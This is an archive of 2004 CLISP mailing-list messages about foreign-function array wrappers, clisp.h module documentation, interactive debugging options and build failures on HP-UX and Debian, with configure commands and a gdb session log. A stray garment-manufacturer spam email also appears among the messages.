module, with FFI or plain LISP) that would be called as "(func a)" where a is 
of type (simple-array double-float *). 
 
3) the LISP wrapper should behave as the foreign function, namely it should 
modify its argument (destructive behavior) 
 
4) the wrapper should be *generic*: the input array can have any length, there 
can be more than one input argument that could be modified by the foreign 
function. 
 
Once you've solved this, making MatLisp work with CLISP should be 
straightforward. Thanks anyway for all the answers. 
 
Bye. 
Michael. 



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> * Michael Goffioul <zvpunry.tbssvbhy@vzrp.or> [2004-05-12 14:17:43 +0000]:
>
> Sam Steingold <sds <at> gnu.org> writes: 
>  
>> yes you can.  Just allocate (UNSIGNED-BYTE 32) arrays of double size
>> (for DOUBLE-FLOAT) or required size (for SINGLE-FLOAT) and pass the
>> data vectors to the FORTRAN functions.
>>  
>  
> I'm a little bit lost among all the answers that requires more and
> more knowledge of CLISP internals (which I don't have).

start with little pieces... :-)

> I'll restate the problem as simple as possible:
>  
> 1) there's a foreign function (whether C or FORTRAN) that takes a
> double array as argument AND modifies it: in C it could be "int
> func(double *a, in len)" for example.
>  
> 2) in LISP, I'd like a kind of wrapper function (whether it's
> implemented in a module, with FFI or plain LISP) that would be called
> as "(func a)" where a is of type (simple-array double-float *).
>  
> 3) the LISP wrapper should behave as the foreign function, namely it
> should modify its argument (destructive behavior)
>  
> 4) the wrapper should be *generic*: the input array can have any
> length, there can be more than one input argument that could be
> modified by the foreign function.

completely untested:

DEFUN(fun,arr) {
  uintL pos, index, size = array_total_size(STACK_0 = check_array(STACK_0));
  object data_vector = array_displace_check(STACK_0,size,&index);
  double *c_array = alloca(size*sizeof(double));
  pushSTACK(data_vector);
  for (pos=0; pos<size; pos++)
    c_array[pos] = to_double(TheSvector(STACK_0)->data[pos+index]);
  begin_system_call();
  func(c_array,size);
  end_system_call();
  for (pos=0; pos<size; pos++)
    TheSvector(STACK_0)->data[pos+index] = c_double_to_DF(&c_array[pos]);
  VALUES1(STACK_1); /* return the argument */
  skipSTACK(2);
}

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> > I'm a little bit lost among all the answers that requires more and
> > more knowledge of CLISP internals (which I don't have).
>=20
> start with little pieces... :-)

I'd like to, but I don't have much time (it's not a hobby, it's for
my work) and the module interface is completely undocumented.

> completely untested:
>=20
> DEFUN(fun,arr) {
>   uintL pos, index, size =3D array_total_size(STACK_0 =3D=20
> check_array(STACK_0));
>   object data_vector =3D array_displace_check(STACK_0,size,&index);
>   double *c_array =3D alloca(size*sizeof(double));
>   pushSTACK(data_vector);
>   for (pos=3D0; pos<size; pos++)
>     c_array[pos] =3D to_double(TheSvector(STACK_0)->data[pos+index]);
>   begin_system_call();
>   func(c_array,size);
>   end_system_call();
>   for (pos=3D0; pos<size; pos++)
>     TheSvector(STACK_0)->data[pos+index] =3D=20
> c_double_to_DF(&c_array[pos]);
>   VALUES1(STACK_1); /* return the argument */
>   skipSTACK(2);
> }

That's already something I can start with. Thanks. Just one question:
is it possible to replace the "for" loops by "memcpy"-like calls, for
efficiency (looking at your code, I guess the answer is "no", but you
never know...)?

Michael.


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> * Goffioul Michael <tbssvbhy@vzrp.or> [2004-05-12 17:03:46 +0200]:
>
>> > I'm a little bit lost among all the answers that requires more and
>> > more knowledge of CLISP internals (which I don't have).
>> 
>> start with little pieces... :-)
>
> I'd like to, but I don't have much time (it's not a hobby, it's for my
> work) and the module interface is completely undocumented.

Did you look here: <http://clisp.cons.org/impnotes/modules.html>?
If you did, I don't see how you can call it "undocumented".
If you did not, you might want to say "I cannot find the documentation"
instead of "undocumented" next time.


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> Did you look here: <http://clisp.cons.org/impnotes/modules.html>?
> If you did, I don't see how you can call it "undocumented".

I did.

> If you did not, you might want to say "I cannot find the=20
> documentation"
> instead of "undocumented" next time.

I meant a documentation about the interface as found in clisp.h,
which is not documented in the implementation notes, or at least
I couldn't find any doc that could have led me to the code example
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> * Goffioul Michael <tbssvbhy@vzrp.or> [2004-05-12 18:06:10 +0200]:
>
> I meant a documentation about the interface as found in clisp.h, which
> is not documented in the implementation notes, or at least I couldn't
> find any doc that could have led me to the code example that was
> proposed a few hours ago.

I see - I misunderstood you.

Indeed, there is no documentation about <clisp.h>, you have to read the
code.

Maybe you could record your experiences putting together your
module which could be later turned into <clisp.h> documentation?

Here is a start:

--- impext.xml	11 May 2004 17:45:25 -0400	1.225
+++ impext.xml	12 May 2004 13:52:40 -0400	
@@ -1945,7 +1945,7 @@
 <itemizedlist>
   <listitem><simpara><filename>modules.d</filename></simpara></listitem>
   <listitem><simpara><filename>modules.c</filename></simpara></listitem>
-  <listitem><simpara><filename>clisp.h</filename></simpara></listitem>
+  <listitem><simpara><link linkend="clisp-h"><filename>clisp.h</filename></link></simpara></listitem>
 </itemizedlist>
 <command>clisp-link</command> expects to find these files in a
 subdirectory <filename>linkkit/</filename> of the current directory.
@@ -2197,6 +2197,33 @@
   <link linkend="gc-safety">GC-safety</link>.</para></warning>
 </section>
 
+<section id="clisp-h"><title>clisp.h</title>
+
+<para>If your module is written in &c-lang;, you will probably want
+ to <literal>#include "clisp.h"</literal> to access &clisp; objects.
+ You will certainly need to read <filename>clisp.h</filename> and
+ <link linkend="included-modules">included modules</link>, but here are
+ some important hints that you will need to keep in mind:
+<itemizedlist>
+ <listitem><simpara>Lisp objects have type <type>object</type>.
+ </simpara></listitem>
+ <listitem><simpara>Variables of this type are invalidated by
+   <link linkend="gc-safety">memory allocation</link> and must be saved
+   on the &STACK; using macros <function>pushSTASH()</function>,
+   <function>popSTACK()</function> and <function>skipSTACK()</function>.
+ </simpara></listitem>
+ <listitem><simpara>Access object slots using the
+   approprate <function>TheFoo()</function> macro, e.g.,
+   <function>TheCons(my_cons)-&gt;Car</function>, but check the type
+   first with <function>consp()</function>.</simpara></listitem>
+ <listitem><simpara>Arguments are passed on the &STACK;, as illustrated
+   in the <link linkend="modprep">above example</link>.</simpara></listitem>
+ <listitem><simpara></simpara></listitem>
+</itemizedlist>
+</para>
+
+</section>
+
 <section id="exporting"><title>Exporting</title>
 <para>If your module uses &ffi-pac; to interface to a &c-lang; library,
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Grepping through the source, I found remnants of s-m-u-c, but it's
commented out.  Would there be interest among the CLISP maintainers in
supporting it?  I'm adding an extension to the Cells library
(cells.common-lisp.net), which would work better if I could write a
method on s-m-u-c.  As far as I know, CLISP and MCL are the only major
Common Lisps that don't support it.


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Date: Thu May 13 09:19:08 2004
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Hi,

Sam wrote:
>Maybe you could record your experiences putting together your
>module which could be later turned into <clisp.h> documentation?
>Here is a start:
Suggestions:
 o mention begin/end_call()
 o briefly mention callbacks is a little more complicated
 o refer to the GC section of the doc, IIRC it talks about keeping OBJECTS on STACK.


Michael wrote:
>3) the LISP wrapper should behave as the foreign function, namely it should 
>modify its argument (destructive behavior) 

You CAN use the FFI, using the malloc' code you provided yourself. The FFI supports arrays of floats, simple or double. It's just not fast.
But you MUST use CL:REPLACE afterwards, to overwrite the original Lisp array with possibly modified contents. There's no way around this. The Lisp wrapper you showed did not perform this final step.

You CAN use Sam's code. It must be faster than using the FFI. But it also does not overwrite the results, you'll have a two line loop.

I wouldn't count on memcpy() for giving you speed improvements in this application, unless you copy a few thousand objects.

I hope the situation is clear from now on.


>4) the wrapper should be *generic*: the input array can have any length, there 
>can be more than one input argument that could be modified by the foreign 
>function.
I think you already know how to deal with any length. I'm not sure whether you want a function that can process a variable (unknown) number of parameters, some of which maybe arrays, which all would require :in-out semantics??

That could be done using the FFI as well, but then I'd use memoization on parse-c-type to keep one c-type per function signature. Sam's C code obviously only deals with one kind of signature: (double*,int size).

Or is there a rather limited set of different signatures in Matlisp, like max. 2 arrays as :in-out parameters, e.g. (double*1,int size1, double*2,int size2) beside the other one?
Are semantics always :in-out? I'd bet there's pure :in as well.
Then it would be more reasonable to provide a fixed set of wrappers.

Regards,
	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-05-13 18:17:51 +0200]:
>
> You CAN use Sam's code. It must be faster than using the FFI. But it
> also does not overwrite the results, you'll have a two line loop.

it _DOES_ overwrite the results!!!
please look at the code again!

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Sam wrote:
>it _DOES_ overwrite the results!!!
>please look at the code again!
Oops, my fault. It was so short, yet I didn't see these two lines :-)


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Date: Sat May 15 17:03:45 2004
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CLISP offers many ways to start up a CL program, but I can't find one
that allows me to enter the interactive debugger when an error
arises. All of the techniques I've tried so far -- the "#!" shell
script (with and without -interactive-debug), the saved image with an
:init-function, and passing a form on the command-line all disable
interactive debugging (including restart selection).

I have some programs written that I /expect/ will not work properly
right away, but I'd like to start using them outside of XEmacs/SLIME
(where the debugging interface is just fine). And even if my programs
did work properly, they may still wish to use interactive
restarts. I'd like to be able to kick off one of my CL programs like:

,----
| $ myprog arg1 arg2
| running...
| running...
| *** - ERROR: Something went wrong.
| The following restarts are available:
| TRY-AGAIN    :R1     Try this operation again.
| 
| Break 1 [4]>
`----

Is there some way to prepare a program with CLISP that will permit
this kind of interaction?

-- 
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> * Steven E. Harris <fru@cnavk.pbz> [2004-05-15 17:01:43 -0700]:
>
> CLISP offers many ways to start up a CL program, but I can't find one
> that allows me to enter the interactive debugger when an error
> arises.

normally, scripts are run under SYSTEM::BATCHMODE-ERRORS
(executes the forms, but handles errors just as a batch program should
do: continuable errors are signaled as warnings, non-continuable errors
and Ctrl-C interrupts cause Lisp to exit)
with -interactive-debug, continuable errors are turned into warnings
and CONTINUE restart is invoked automatically.
with -repl, you get full interactivity on any error.

http://clisp.cons.org/clisp.html#opt-interactive-debug
http://clisp.cons.org/clisp.html#opt-repl

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Dear Manager, 

I have the pleasure to know your esteemed Corp. 

We are the leading and professional manufacturer of apparel & bag in Quanzhou, China.

The following is some introductions about our company.

Set up: 1988

Employees: 1600 persons

Output: 5.1 million pcs/year 

Our products include: babywear,men and lady's underwear,children wear,T-shirts,knitwear,sportwear,baby bag, 

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school bag, computer case, luggage, workbag, promotional bag, etc.

We have advanced equipments and technologies which were learned and imported from German and other advanced countries. 

We still have experienced management system, seasoned workmanship, complete service and strong economic capacity. 

Our goods  have met a great favor in Europe, America, Japan and other counties because of their slap-up quality, 

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With the philosophy "quality, service, integrity, and environmental consciousness", We would like to welcome customers 

all over the world to establish business relations with us.

Welcome to visit our company or contact with us for more information.

Yours sincerely

Rachel

Mob:0086-13960286700

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SENWER GARMENTS CO., LTD.
ADD.: Wancheng Ge 516, Citong Road, Quanzhou, China.
Tel: 0086-595-2216499 Fax: 0086-595-2214455 P.C.:362000
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> * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2004-05-12 20:47:04 -0700]:
>
> Grepping through the source, I found remnants of s-m-u-c, but it's
> commented out.  Would there be interest among the CLISP maintainers in
> supporting it?

As usual, PTC <http://cygwin.com/acronyms/#PTC>.
Note that the impatient should look at the CVS HEAD file clisp/src/NEWS
for a preview of new features.  The _extra_ impatient should look at
clisp/src/ChangeLog.

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I am having a problem compliling clisp-2.33 on hp-ux 11.11.
 
It will get all the way to the point where it tries to run lisp.run and then coredumps:
 
chmod +w config.lisp
echo '(setq *clhs-root-default* " <http://www.lisp.org/HyperSpec/> http://www.lisp.org/HyperSpec/")' >> config.lisp
./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
make: *** [interpreted.mem] Bus error (core dumped)
 
 
I am using gcc version 3.2.
 
 
 
Any Ideas?
 
 
 
Thanks,
 
 
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--=-=-=


I'm running Debian Woody, kernel 2.2.25 and have just spent waaaay too
many hours on a Sunday trying to build some version, any version, of
clisp.

I need to use regexes, and the default clisp install on Debian doesn't
seem to support them, when invoked either by 'clisp' *or* 'clisp -K
full' it doesn't show up in *features*.  (BTW, the same goes for the
FreeBSD 4.9 clisp).  If I try to use one of the functions, I get an
error.

So, I downloaded the latest source, libsigsegv, etc., followed
directions, and got a SIGSEGV error during the build (something about
0x10a not in [...]).  Searched Google and got 14 results - none useful
to me at all, but I *did* notice the clisp 'help wanted' page asking for
help on this issue.  Sorry folks - that is way, _way_ over my head.
Tried building w/o libsigsegv, but just got a totally different fatal
SIGSEGV error again during the build.

'K - let's try another version.

Next I downloaded 2.29, configure, makemake, edit, etc., etc., etc.  I
got the error below, so I hit Google, the Gmane general list and a few
years of the Sourceforge mailing lists - all I found was a hint of a
related Debian problem in a January 2004 message from Luke Gorrie on the
Sourceforge list, but no resolution.  Fiddled around some more, changed
some things, rm-rf'ed, unpacked, re-configured and built a few more
times trying different things, finally tried building as root, all to no
avail.

Everytime, it is sooooo close - 'make check' works just fine, but su
over to root and 'make install' bombs (see below).

Hmmmm.  OK, so I get the Debian stable source package (now we are at
version 2.27) and start looking through diffs figuring 'hey, they got it
built somehow', because I can 'apt-get install' the
default-but-insufficient-for-my-purposes build.

Sure enough, way deep in the (rather large) Debian diffs is a reference
to Debian not handling the symbolic links in the way the Makefile seems
to expect.

To be honest, at this point, I don't spend the time to figure out
exactly what Debian did, or why - it has by now been a long day and I
just want to get to work on my regexes (I'm using guile and gawk until I
can port to clisp).  So I apply the diffs, they work fine, configure,
makemake, edit, make check.  Builds fine, as it did all the other times
for 2.29 and earlier.  But when I try to install, same *exact* error.

I must either be doing something really silly (or maybe there is
something missing from my Debian?) - surely a GNU lisp shouldn't be so
difficult to build on Debian GNU/Linux?

If it is any help, I *can* build and install the latest GCL, no problem
- I have done so several times recently.  I've also successfully built
and installed recent Python and Postgres, and a few other things - all
without a problem.

Does anybody have any suggestions or ideas, maybe a link or two?

Thanks, g'nite,
+Chris

P.S.  For some reason directories linkkit, base, full, and clisp-link do
*not* seem to exist anywhere in the build tree.

How did we get this far in the build without what appear to be the
output directories?  All I can think of is that an error somehow went
undetected/unhandled by make.


----------------( /usr/local/lib/clisp *after*
naia:~/lisp/clisp-2.27/src# ls -lR /usr/local/lib/clisp/ 
/usr/local/lib/clisp/:
total 16
drwxr-sr-x    2 root     staff        4096 May 24 01:19 base
drwxr-sr-x    2 root     staff        4096 May 24 01:19 data
drwxr-sr-x    2 root     staff        4096 May 24 01:19 full
drwxr-sr-x    2 root     staff        4096 May 24 00:33 linkkit

/usr/local/lib/clisp/base:
total 0

/usr/local/lib/clisp/data:
total 1160
-rw-r--r--    1 root     staff     1134578 May 24 01:19 UnicodeData.txt
-rw-r--r--    1 root     staff       45476 May 24 01:19 clhs.txt

/usr/local/lib/clisp/full:
total 0

/usr/local/lib/clisp/linkkit:
total 92
-rw-r--r--    1 root     staff       81913 May 24 00:33 clisp.h
-rw-r--r--    1 root     staff        1983 May 24 00:33 modules.c
-rw-r--r--    1 root     staff        1943 May 24 00:33 modules.d


----------------( 'make install' output
naia:~/lisp/clisp-2.27/src# make install
if [ ! -d /usr/local ] ; then mkdir /usr/local ; fi
if [ ! -d /usr/local ] ; then mkdir /usr/local ; fi
if [ ! -d /usr/local/lib ] ; then mkdir /usr/local/lib ; fi
if [ ! -d /usr/local/lib/clisp ] ; then mkdir /usr/local/lib/clisp ; fi
if [ ! -d /usr/local/lib/clisp/data ] ; then mkdir /usr/local/lib/clisp/data ; fi
/usr/bin/install -c -m 644 data/UnicodeData.txt /usr/local/lib/clisp/data/UnicodeData.txt
/usr/bin/install -c -m 644 data/clhs.txt /usr/local/lib/clisp/data/clhs.txt
if [ ! -d /usr/local/lib/clisp/linkkit ] ; then mkdir /usr/local/lib/clisp/linkkit ; fi
(cd /usr/local/lib/clisp && rm -rf base full)
mkdir /usr/local/lib/clisp/base
mkdir /usr/local/lib/clisp/full
for f in clisp-link linkkit/modules.d linkkit/modules.c linkkit/clisp.h base/* full/*; do \
  case $f in \
    */lisp.run) /usr/bin/install -c $f /usr/local/lib/clisp/$f;; \
    *) /usr/bin/install -c -m 644 $f /usr/local/lib/clisp/$f;; \
  esac; \
done
/usr/bin/install: cannot stat `clisp-link': No such file or directory
/usr/bin/install: cannot stat `linkkit/modules.d': No such file or directory
/usr/bin/install: cannot stat `linkkit/modules.c': No such file or directory
/usr/bin/install: cannot stat `linkkit/clisp.h': No such file or directory
/usr/bin/install: cannot stat `base/*': No such file or directory
/usr/bin/install: cannot stat `full/*': No such file or directory
make: *** [install-bin] Error 1


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        Is it possible for someone over there to make a binary 
distribution of the latest Clisp 2.33 for the Mac OSX 10.2.8? I have 
been trying for months to get this working on here and I get all kinds 
of bull crap errors. I have had it working on this same computer with 
an earlier version of OSX 10.2 about a year and a half ago and I do not 
remember how I got it working. I am sick of trying all this stuff. I 
just want to write some Clisp code. Can someone over there please help 
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 > I'm running Debian Woody, kernel 2.2.25 and have just spent waaaay too
 > many hours on a Sunday trying to build some version, any version, of

Chris welcome to the CLISP and Debian club.  Just like Debian itself,
happily it can always be MADE to work, but ...

w.r.t. build issues.  The thing that works for me generally is to
download the most recent release, or the CVS head, and build from
source; I always do the configure and build in one step w/
  ./configure ... --build mydir

 > So, I downloaded the latest source, libsigsegv, etc., followed
 > directions,

a couple pieces of info would help here: exactly what file did you get
as "latest source", i.e., is it "clisp-2.33.tar.gz" or equivalent?

And what did you end doing after "followed directions" i.e., what
actual commands were done for "./configure" and to build.

which GCC you are using is also a good thing to post as CLISP can be
somewhat picky about the GCC version.

But the naem of the source distro. file and the config/build commands
will be essential in getting helping from the list here ... 

 > Next I downloaded 2.29, configure, makemake, edit, etc., etc., etc.  I

In my experience I have not found it productive to backtrack to older
versions' source releases, the reaons being tha the newer versions
tend to fix many more problems than they create.  Time's better spent
figuring out what the problem buliding the latest release.  This is
true of all packages not jsut CLISP.  Also, not being able to build
the latest release bodes ill for being able to upgrade in the future.

 > I must either be doing something really silly (or maybe there is

Maybe ;)  ... you need to post the commands you used tho.
Suggest you try ./confgure with "--build" and skip all the "makemake"
stuff 

 > surely a GNU lisp shouldn't be so difficult to build on Debian
 > GNU/Linux?

I am shocked that anything would be difficult on Debian. ;)

 > Does anybody have any suggestions or ideas, maybe a link or two?

For me the "configure ... --build"

 > How did we get this far in the build without what appear to be the
 > output directories?  All I can think of is that an error somehow went
 > undetected/unhandled by make.

Before runnign "make install" and checking the final system-wide
installation directories, I find it useful to do a test of the CLISP
in the build area.  Locate the directory "full" which shoudl have the
files "lisp.run" and "lispinit.mem" in it.

  E.g.:
   cd /path/to/clisp-2.33/build-dir/full
   ./lisp.run -M lispinit.mem
   
This lisp should have all the compiled-in features you wanted.  If
not, then what you have in the build area shoudl not be installed.

 > ----------------( 'make install' output

The "make install" output is not so useful without first knowing if
you were able to get to a point where you have the "full" directory w/
the files "lisp.run" and "lispinit.mem"

WARNING: I am not an expert on building CLISP however I do manage to
eventually get it built under Debian, so I can probably assist.

I run two commands to build CLISP.  The first is:

./configure                                     \
       --with-readline                          \
       --with-dynamic-ffi                       \
       --with-dynamic-modules                   \
       --with-export-syscalls                   \
       --with-module=wildcard                   \
       --with-module=regexp                     \
       --with-module=bindings/glibc             \
       --with-module=oracle                     \
       --with-module=fastcgi                    \
       --with-module=syscalls                   \
       --build mysrc

This does the config and build all in one step, leaving the build in a
subdirectory called "mysrc".  You will probably want to leave out most
of the --with-module args.

To check it worked I do
	cd /path/to/clisp-2.nn/mysrc/full
	./lisp.run -M lispinit.mem

and make sure it has the features, behaves properly, etc.

To install, I then just do
	cd /path/to/clisp-2.nn/mysrc
	make install

Note: if you want to re-run the configure with --build you
FIRST need to remove the old build area:

	cd /path/to/clisp-2.nn
	rm -rf mysrc

this is somewhat non-obvious IMHO.

Good luck, send more info and we will see if we can get it built,
and then you can get some real work done ;)

---
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On Mon, 24 May 2004 03:05:09 -1000, Chris Hall <hall.cj@verizon.net> wrote:

> I need to use regexes, and the default clisp install on Debian
> doesn't seem to support them

[snip]

> Does anybody have any suggestions or ideas, maybe a link or two?

  apt-get -t testing install cl-ppcre

:)

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	where it tries to run lisp.run > and then coredumps: > > chmod +w
	config.lisp > echo '(setq *clhs-root-default* "
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> * Nuzzo Art-CINT116 <N.Ahmmb@zbgbebyn.pbz> [2004-05-24 07:29:33 -0500]:
>
> I am having a problem compliling clisp-2.33 on hp-ux 11.11.
>  
> It will get all the way to the point where it tries to run lisp.run
> and then coredumps:
>  
> chmod +w config.lisp
> echo '(setq *clhs-root-default* " <http://www.lisp.org/HyperSpec/> http://www.lisp.org/HyperSpec/")' >> config.lisp
> ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
> make: *** [interpreted.mem] Bus error (core dumped)
>  
> I am using gcc version 3.2.

<http://clisp.cons.org/faq.html#bugs>
<http://clisp.cons.org/clisp.html#bugs>

please try

$ ./configure --with-debug --build build-g
$ cd build-g
$ gdb lisp.run
(gdb) run -B . -E utf-8 -i init.lisp

and report the backtrace.

thanks.

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> * Chris Hall <unyy.pw@irevmba.arg> [2004-05-24 03:05:09 -1000]:
>
> I'm running Debian Woody, kernel 2.2.25 and have just spent waaaay too
> many hours on a Sunday trying to build some version, any version, of
> clisp.

Did you try a binary distribution for Linux?
<http://sourceforge.net/project/showfiles.php?group_id=1355>
I think a build for 2.4 will work for 2.2 as well.

> I need to use regexes, and the default clisp install on Debian doesn't
> seem to support them, when invoked either by 'clisp' *or* 'clisp -K
> full' it doesn't show up in *features*.  (BTW, the same goes for the
> FreeBSD 4.9 clisp).  If I try to use one of the functions, I get an
> error.

Please complain to the Debian and FreeBSD package maintainers.
I agree that they should offer more modules by default.

> So, I downloaded the latest source, libsigsegv, etc., followed
> directions, and got a SIGSEGV error during the build (something about
> 0x10a not in [...]).

<http://clisp.cons.org/faq.html#bugs>
<http://clisp.cons.org/clisp.html#bugs>

please try

$ ./configure --with-debug --build build-g
$ cd build-g
$ gdb lisp.run
(gdb) run -B . -E utf-8 -i init.lisp

and report the backtrace.

you might also try the CVS HEAD.

Please also do
$ gcc -o malloc unix/malloc.c
$ for x in 1000000 100000 10000 1000; do ./malloc $x; done
$ rm -f malloc
and send the results here.

thanks.

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Date: Mon May 24 08:18:01 2004
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I did what you suggested.  It appears to run until I get a CLISP prompt and I can (quit) and the program exits normally.

I included the output below.  

Thanks for any help,


Art


artn@bs713> cd build-g
artn@bs713> gdb lisp.run
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa2.0w-hp-hpux11.11"...
Breakpoint 1 at 0x5a758: file eval.d, line 4799.
Breakpoint 2 at 0x562f4: file eval.d, line 3900.
Breakpoint 3 at 0x4fd74: file eval.d, line 2788.
Breakpoint 4 at 0x5db64: file eval.d, line 5754.
Breakpoint 5 at 0x2e640: file spvw_garcol.d, line 2657.
warning: can't do that without a running program; try "break main", "run" first
No breakpoint number 6.
Breakpoint 6 at 0x331f8: file spvw.d, line 641.
Breakpoint 7 at 0x27cf0: file spvw.d, line 485.
Breakpoint 8 at 0x27db0: file spvw.d, line 496.
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x0005a758 in funcall at eval.d:4799
        xout fun
2   breakpoint     keep n   0x000562f4 in apply at eval.d:3900
        xout fun
3   breakpoint     keep n   0x0004fd74 in eval at eval.d:2788
        xout form
4   breakpoint     keep n   0x0005db64 in interpret_bytecode_ at eval.d:5754
---Type <return> to continue, or q <return> to quit---
        xout closure
5   breakpoint     keep n   0x0002e640 in gar_col at spvw_garcol.d:2657
        zbacktrace
        continue
6   breakpoint     keep y   0x000331f8 in fehler_notreached at spvw.d:641
7   breakpoint     keep y   0x00027cf0 in SP_ueber at spvw.d:485
8   breakpoint     keep y   0x00027db0 in STACK_ueber at spvw.d:496
.gdbinit:139: Error in sourced command file:
Function "sigsegv_handler_failed" not defined.
(gdb) run -B . -E utf-8 -i init.lisp
Starting program: /users/artn/clisp-2.33/build-g/lisp.run -B . -E utf-8 -i init.lisp
STACK depth: 16367
WARNING: locale: no encoding ROMAN8, using UTF-8
WARNING: *FOREIGN-ENCODING*: reset to ASCII
WARNING: locale: no encoding ROMAN8, using UTF-8
WARNING: *FOREIGN-ENCODING*: reset to ASCII
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004


WARNING: No initialization file specified.
Please try: /users/artn/clisp-2.33/build-g/lisp.run -M lispinit.mem
;; Loading file defseq.lisp ...
;; Loaded file defseq.lisp
;; Loading file backquote.lisp ...
;; Loaded file backquote.lisp
;; Loading file defmacro.lisp ...
;; Loaded file defmacro.lisp
;; Loading file macros1.lisp ...
;; Loaded file macros1.lisp
;; Loading file macros2.lisp ...
;; Loaded file macros2.lisp
;; Loading file defs1.lisp ...
;; Loaded file defs1.lisp
;; Loading file places.lisp ...
;; Loaded file places.lisp
;; Loading file floatprint.lisp ...
;; Loaded file floatprint.lisp
;; Loading file type.lisp ...
;; Loaded file type.lisp
;; Loading file defstruct.lisp ...
;; Loaded file defstruct.lisp
;; Loading file format.lisp ...
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" FORMAT #P"/users/artn/clisp-2.33/src/format.lisp" "top-level") 
;; Loaded file format.lisp
;; Loading file international.lisp ...
;; Loaded file international.lisp
;; Loading file /users/artn/clisp-2.33/build-g/room.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/room.lisp
;; Loading file /users/artn/clisp-2.33/build-g/savemem.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/savemem.lisp
;; Loading file /users/artn/clisp-2.33/build-g/trace.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/trace.lisp
;; Loading file /users/artn/clisp-2.33/build-g/cmacros.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/cmacros.lisp
;; Loading file /users/artn/clisp-2.33/build-g/compiler.lisp ...
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" GLOBAL-IN-FENV-P #P"/users/artn/clisp-2.33/src/compiler.lisp" "top-level") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" EVAL-WHEN-COMPILE #P"/users/artn/clisp-2.33/src/compiler.lisp" "top-level") 
;; Loaded file /users/artn/clisp-2.33/build-g/compiler.lisp
;; Loading file /users/artn/clisp-2.33/build-g/defs2.lisp ...
WARNING in COMPILED-FORM-1 :
Function DISPATCH-READER is not defined
WARNING in COMPILED-FORM-1 :
Function DISPATCH-READER is not defined
;; Loaded file /users/artn/clisp-2.33/build-g/defs2.lisp
;; Loading file /users/artn/clisp-2.33/build-g/loop.lisp ...
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" LOOP #P"/users/artn/clisp-2.33/src/loop.lisp" #P"/users/artn/clisp-2.33/src/macros1.lisp") 
;; Loaded file /users/artn/clisp-2.33/build-g/loop.lisp
;; Loading file /users/artn/clisp-2.33/build-g/clos.lisp ...
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" DEFINE-STRUCTURE-CLASS #P"/users/artn/clisp-2.33/src/clos.lisp" #P"/users/artn/clisp-2.33/src/defstruct.lisp") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" DEFSTRUCT-REMOVE-PRINT-OBJECT-METHOD #P"/users/artn/clisp-2.33/src/clos.lisp" #P"/users/artn/clisp-2.33/src/defstruct.lisp") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" BUILT-IN-CLASS-P #P"/users/artn/clisp-2.33/src/clos.lisp" #P"/users/artn/clisp-2.33/src/type.lisp") 
WARNING in MAKE-INSTANCE-STANDARD-CLASS :
Function INITIALIZE-INSTANCE-STANDARD-CLASS is not defined
WARNING in MAKE-INSTANCE-STANDARD-CLASS :
Function INITIALIZE-INSTANCE-STANDARD-CLASS is not defined
WARNING in FINALIZE-INSTANCE-STANDARD-CLASS :
Function CLASS-NAME is not defined
WARNING in FINALIZE-INSTANCE-STANDARD-CLASS :
Function STD-COMPUTE-CPL is not defined
WARNING in FINALIZE-INSTANCE-STANDARD-CLASS :
Function STD-COMPUTE-SUPERCLASSES is not defined
WARNING in FINALIZE-INSTANCE-STANDARD-CLASS :
Function STD-COMPUTE-SLOTS is not defined
WARNING in FINALIZE-INSTANCE-STANDARD-CLASS :
Function STD-LAYOUT-SLOTS is not defined
WARNING in FINALIZE-INSTANCE-STANDARD-CLASS :
Function PLIST-TO-ALIST is not defined
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" SUBCLASSP #P"/users/artn/clisp-2.33/src/clos.lisp" #P"/users/artn/clisp-2.33/src/type.lisp") 
;; Loaded file /users/artn/clisp-2.33/build-g/clos.lisp
;; Loading file /users/artn/clisp-2.33/build-g/disassem.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/disassem.lisp
;; Loading file /users/artn/clisp-2.33/build-g/condition.lisp ...
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" CHECK-TYPE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") 
